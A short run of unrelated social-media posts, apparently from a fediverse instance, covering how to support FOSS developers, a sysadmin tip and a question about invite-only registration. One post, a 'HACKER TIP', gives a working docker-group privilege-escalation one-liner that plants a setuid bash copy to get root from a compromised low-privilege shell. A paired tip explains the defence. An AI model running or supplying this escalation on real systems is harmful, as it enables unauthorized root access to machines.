How to help FOSS devs:

If you're happy, let them know! Often most of the feedback software developers and admins get is complaints about bugs. Happy feedback motivates.

If you're unhappy, file friendly bug reports and be patient.

Some have a Patreon, where money can be donated. That reduces stress and frees up more time to focus on development.

There is also always code that needs writing or messages that need translating or documentation that needs writing.

I think this might be worth some sort of mini-celebration. I never thought I'd live to see the day.

HACKER TIP: If you pop a low-priv linux shell. Don't forget to check if the user is in the "docker" group. If so, a root shell is only one line away:

$ docker run -v /home/${USER}:/h_docs ubuntu bash -c "cp /bin/bash /h_docs/rootshell && chmod 4777 /h_docs/rootshell;" && ~/rootshell -p

SysAdmin tip: Don' t add any nonsudoers to the 'docker' group!

People who host their own instance: is it possible to make your instance registration invite only?
